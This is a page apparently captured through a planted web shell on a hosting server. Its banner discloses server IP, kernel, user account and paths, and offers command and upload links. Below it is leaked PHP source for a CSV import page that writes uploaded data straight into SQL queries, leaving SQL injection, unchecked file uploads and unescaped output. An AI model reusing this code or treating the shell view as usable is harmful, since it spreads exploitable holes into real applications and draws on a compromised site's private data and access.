|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/MCPRO/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html>
<head>
<?php require_once 'header.php'; ?>
<style type="text/css">
.modal-backdrop {
/* bug fix - no overlay */
display: none;
}
</style>
</head>
<body class="hold-transition skin-blue sidebar-mini">
<div class="wrapper">
<div class="content-wrapper">
<section class="content-header">
<h1>
Import
<small></small>
</h1>
</section>
<section class="content">
<div class="row">
<div class="col-md-12">
<div class="box" >
<?php
include_once 'code/init.php';
if(!empty($_FILES))
{
move_uploaded_file($_FILES['entete']['tmp_name'] , 'doss_csv/test.csv');
include_once 'includes/infoentete.php';
$row = 1;
if (($handle = fopen("doss_csv/test.csv", "r")) !== FALSE) {
while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
$num = count($data);
// echo "<p> $num fields in line $row: <br /></p>\n";
$row++;
$liste = explode(";",$data[0]) ;
if($liste[0]!='Client')
{
dbi_query("INSERT INTO telepointage (id_tele,client_id,inter_id,Date,Heure,Telephone,Prestation,Code_Erreur,Type,Min_Additionnelles,KM)
VALUES('','".$liste[0]."','".$liste[3]."','".$liste[6]."','".$liste[7]."','".$liste[8]."','".$liste[9]."','".$liste[10]."','".$liste[11]."','".$liste[12]."','".$liste[13]."')");
}
}
fclose($handle);
}
}
?>
<form method="post" action="" enctype="multipart/form-data">
<h1>ficher csv</h1>
Upload ficher csv : <input type="file" name="entete" /><br>
<input type="submit" name="Enregistrer" class="bigbutton" value="Enregistrer" onClick="">
</form>
<?
// echo "test <br/>" ;
?>
<div class="onglet_dotted">
<div class="box">
<div class="box-body">
<table id="example1_1111" class="table table-bordered table-striped">
<form action="" method="POST">
<thead>
<tr>
<th width="30%" >Nom client </th>
<th > Nom intervenant </th>
<th >Date</th>
<th >Heure</th>
<th >Telephone</th>
<th>Prestation</th>
<th>Code Erreur</th>
<th>Type</th>
<th >Min. Additionnelles</th>
<th >KM</th>
</tr>
</thead>
<tbody>
<?
$rq =dbi_query("SELECT * FROM `telepointage` " ) ;
while($ab=dbi_fetch_row($rq))
{
if(!empty($ab['client_id']))
{
$cc = dbi_fetch_row(dbi_query("SELECT * FROM client where client_id = ".$ab['client_id'])) ;
}
if(!empty($ab['inter_id']))
{
$cc = dbi_fetch_row(dbi_query("SELECT * FROM intervenant where inter_id = ".$ab['inter_id'])) ;
}
// if(!empty($ab['client_id']))
// {
// $cc = dbi_fetch_row(dbi_query("SELECT * FROM client where client_id = ".$ab['client_id'])) ;
// }
?>
<tr>
<TD ><font color="red"> <?=strtoupper($cc['client_nom']).' '.ucwords(strtolower($cc['client_pnom'].""))?></font></TD>
<TD ><font color="red"> <?=strtoupper($cc['inter_nom']).' '.ucwords(strtolower($cc['inter_pnom'].""))?></font></TD>
<td><?=$ab['Date']?> </td>
<td><?=$ab['Heure']?> </td>
<td><?=$ab['Telephone']?> </td>
<td><?=$ab['Prestation']?> </td>
<td><?=$cc['Code_Erreur']?> </td>
<td><?=$cc['Type']?> </td>
<td><?=$ab['Min_Additionnelles']?> </td>
<td><?=$cc['KM']?> </td>
</tr>
<?
// $rqo =dbi_query("SELECT * FROM `client_suivi` WHERE `suivi_parent_id` = ".$ab['client_suivi_id']) ;
}
?>
</tbody>
</form>
</table>
</div></div>
</div>
</html>
